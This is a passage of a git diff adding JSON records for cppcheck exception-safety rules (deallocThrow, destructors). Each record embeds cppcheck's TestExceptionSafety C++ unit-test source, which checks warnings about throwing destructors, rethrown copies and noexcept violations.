'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/deallocThrow.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/deallocThrow.json new file mode 100644 index 0000000..3ff8f42 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/deallocThrow.json @@ -0,0 +1,24 @@ +{ + "name": "deallocThrow", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 52, + "branches": 20, + "apis": 39, + "test": [ + { + "description": null, + "expected-problems": 3, + "expected-linenumbers": [ + 130, + 150, + 169 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" ~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:25]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:5:31]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() noexcept { return 0; }\\n\"\n \"const char *func1() noexcept { try { throw 1; } catch(...) {} return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowThrow() {\n check(\"void func1() throw(int) { try {;} catch(...) { throw 1; } ; }\\n\"\n \"void func2() throw() { throw 1; }\\n\"\n \"void func3() throw(int) { throw 1; }\\n\"\n \"void func4() throw() { func1(); }\\n\"\n \"void func5() throw(int) { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:4:24]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() throw() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // #11691: FP throwInNoexceptFunction with if constexpr in template\n check(\"template\\n\"\n \"static void foo(size_t Size) noexcept(IsNoThrow) {\\n\"\n \" if constexpr (!IsNoThrow) {\\n\"\n \" throw std::bad_alloc();\\n\"\n \" }\\n\"\n \"}\\n\"\n \"foo(123);\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification1() { // #4800\n check(\"void myThrowingFoo() throw(MyException) {\\n\"\n \" throw MyException();\\n\"\n \"}\\n\"\n \"void myNonCatchingFoo() {\\n\"\n \" myThrowingFoo();\\n\"\n \"}\\n\"\n \"void myCatchingFoo() {\\n\"\n \" try {\\n\"\n \" myThrowingFoo();\\n\"\n \" } catch(MyException &) {}\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function myThrowingFoo(). [unhandledExceptionSpecification]\\n\", errout_str());\n }\n\n void unhandledExceptionSpecification2() {\n check(\"void f() const throw (std::runtime_error);\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unhandledExceptionSpecification3() {\n const char code[] = \"void f() const throw (std::runtime_error);\\n\"\n \"int _init() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int _fini() {\\n\"\n \" f();\\n\"\n \"}\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" f();\\n\"\n \"}\\n\";\n\n check(code, dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\"\n \"[test.cpp:6:5] -> [test.cpp:1:6]: (style, inconclusive) Unhandled exception specification when calling function f(). [unhandledExceptionSpecification]\\n\", errout_str());\n\n const Settings s = settingsBuilder().library(\"gnu.cfg\").build();\n check(code, dinit(CheckOptions, $.inconclusive = true, $.s = &s));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void func2() __attribute((nothrow)); void func2() { throw 1; }\\n\"\n \"void func3() __attribute((nothrow)); void func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:53]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowAttributeThrow2() {\n check(\"class foo {\\n\"\n \" void copyMemberValues() throw () {\\n\"\n \" copyMemberValues();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nothrowDeclspecThrow() {\n check(\"void func1() throw(int) { throw 1; }\\n\"\n \"void __declspec(nothrow) func2() { throw 1; }\\n\"\n \"void __declspec(nothrow) func3() { func1(); }\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\"\n \"[test.cpp:3:36]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // avoid false positives\n check(\"const char *func() __attribute((nothrow)); void func1() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowNoCurrentException1() {\n check(\"void func1(const bool flag) { try{ if(!flag) throw; } catch (int&) { ; } }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException2() {\n check(\"void func1() { try{ ; } catch (...) { ; } throw; }\");\n ASSERT_EQUALS(\"[test.cpp:1:43]: (error) Rethrowing current exception with 'throw;', it seems there is no current exception to rethrow.\"\n \" If there is no current exception this calls std::terminate(). More: https://isocpp.org/wiki/faq/exceptions#throw-without-an-object [rethrowNoCurrentException]\\n\", errout_str());\n }\n\n void rethrowNoCurrentException3() {\n check(\"void on_error() { try { throw; } catch (const int &) { ; } catch (...) { ; } }\\n\" // exception dispatcher idiom\n \"void func2() { try{ ; } catch (const int&) { throw; } ; }\\n\"\n \"void func3() { throw 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noFunctionCall() {\n check(\"void f() {\\n\" // #13803\n \" throw \\\"error\\\";\\n\"\n \"}\\n\"\n \"void g() noexcept {\\n\"\n \" auto pF = &f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n};\n\nREGISTER_TEST(TestExceptionSafety)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/destructors.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/destructors.json new file mode 100644 index 0000000..43201e8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckExceptionSafety/destructors.json @@ -0,0 +1,22 @@ +{ + "name": "destructors", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 32, + "branches": 13, + "apis": 24, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 82 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkexceptionsafety.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"settings.h\"\n\n#include \n\nclass TestExceptionSafety : public TestFixture {\npublic:\n TestExceptionSafety() : TestFixture(\"TestExceptionSafety\") {}\n\nprivate:\n /*const*/ Settings settings;\n\n void run() override {\n settings.severity.fill();\n\n mNewTemplate = true;\n TEST_CASE(destructors);\n TEST_CASE(deallocThrow1);\n TEST_CASE(deallocThrow2);\n TEST_CASE(deallocThrow3);\n TEST_CASE(rethrowCopy1);\n TEST_CASE(rethrowCopy2);\n TEST_CASE(rethrowCopy3);\n TEST_CASE(rethrowCopy4);\n TEST_CASE(rethrowCopy5);\n TEST_CASE(catchExceptionByValue);\n TEST_CASE(noexceptThrow);\n TEST_CASE(nothrowThrow);\n TEST_CASE(unhandledExceptionSpecification1); // #4800\n TEST_CASE(unhandledExceptionSpecification2);\n TEST_CASE(unhandledExceptionSpecification3);\n TEST_CASE(nothrowAttributeThrow);\n TEST_CASE(nothrowAttributeThrow2); // #5703\n TEST_CASE(nothrowDeclspecThrow);\n TEST_CASE(rethrowNoCurrentException1);\n TEST_CASE(rethrowNoCurrentException2);\n TEST_CASE(rethrowNoCurrentException3);\n TEST_CASE(noFunctionCall);\n }\n\n struct CheckOptions\n {\n CheckOptions() = default;\n bool inconclusive = false;\n const Settings *s = nullptr;\n };\n\n#define check(...) check_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void check_(const char* file, int line, const char (&code)[size], const CheckOptions& options = make_default_obj()) {\n const Settings settings1 = settingsBuilder(options.s ? *options.s : settings).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check char variable usage..\n runChecks(tokenizer, this);\n }\n\n void destructors() {\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:3:9]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x();\\n\"\n \"};\\n\"\n \"x::~x() {\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (warning) Class x is not safe, destructor throws exception [exceptThrowInDestructor]\\n\"\n \"[test.cpp:5:5]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #3858 - throwing exception in try block in destructor.\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" try {\\n\"\n \" throw e;\\n\"\n \" } catch (...) {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class x {\\n\"\n \" ~x() {\\n\"\n \" if(!std::uncaught_exception()) {\\n\"\n \" throw e;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (error) Exception thrown in function declared not to throw exceptions. [throwInNoexceptFunction]\\n\", errout_str());\n\n // #11031 should not warn when noexcept false\n check(\"class A {\\n\"\n \"public:\\n\"\n \" ~A() noexcept(false) {\\n\"\n \" throw 30;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow1() {\n check(\"int * p;\\n\"\n \"void f(int x) {\\n\"\n \" delete p;\\n\"\n \" if (x)\\n\"\n \" throw 123;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = foo;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void deallocThrow2() {\n check(\"void f() {\\n\"\n \" int* p = 0;\\n\"\n \" delete p;\\n\"\n \" if (foo)\\n\"\n \" throw 1;\\n\"\n \" p = new int;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" reset(p);\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void deallocThrow3() {\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int* p = 0;\\n\"\n \" delete p;\\n\"\n \" throw 1;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:4:5]: (warning) Exception thrown in invalid state, 'p' points at deallocated memory. [exceptDeallocThrow]\\n\", errout_str());\n }\n\n void rethrowCopy1() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy2() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(exception& err)\\n\"\n \" {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy3() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(std::runtime_error& err) {\\n\"\n \" throw err;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n }\n\n void rethrowCopy4() {\n check(\"void f() {\\n\"\n \" try\\n\"\n \" {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& err)\\n\"\n \" {\\n\"\n \" exception err2;\\n\"\n \" throw err2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void rethrowCopy5() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw inner;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:10:13]: (style) Throwing a copy of the caught exception instead of rethrowing the original exception. [exceptRethrowCopy]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \" catch(const exception& outer) {\\n\"\n \" try {\\n\"\n \" foo(outer);\\n\"\n \" }\\n\"\n \" catch(const exception& inner) {\\n\"\n \" throw outer;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void catchExceptionByValue() {\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Exception should be caught by reference. [catchExceptionByValue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch( ::std::exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(const exception& err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(int err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" try {\\n\"\n \" bar();\\n\"\n \" }\\n\"\n \" catch(exception* const err) {\\n\"\n \" foo(err);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void noexceptThrow() {\n check(\"void func1() noexcept(false) { try {} catch(...) {;} throw 1; }\\n\"\n \"void func2() noexcept { throw 1; }\\n\"\n \"void func3() noexcept(true) { throw 1; }\\n\"\n \"void func4() noexcept(false) { throw 1; }\\n\"\n \"void func5() noexcept(true) { func1(); }\\n\"\n \"void func6() noexcept(false) { func1(); }\");\n 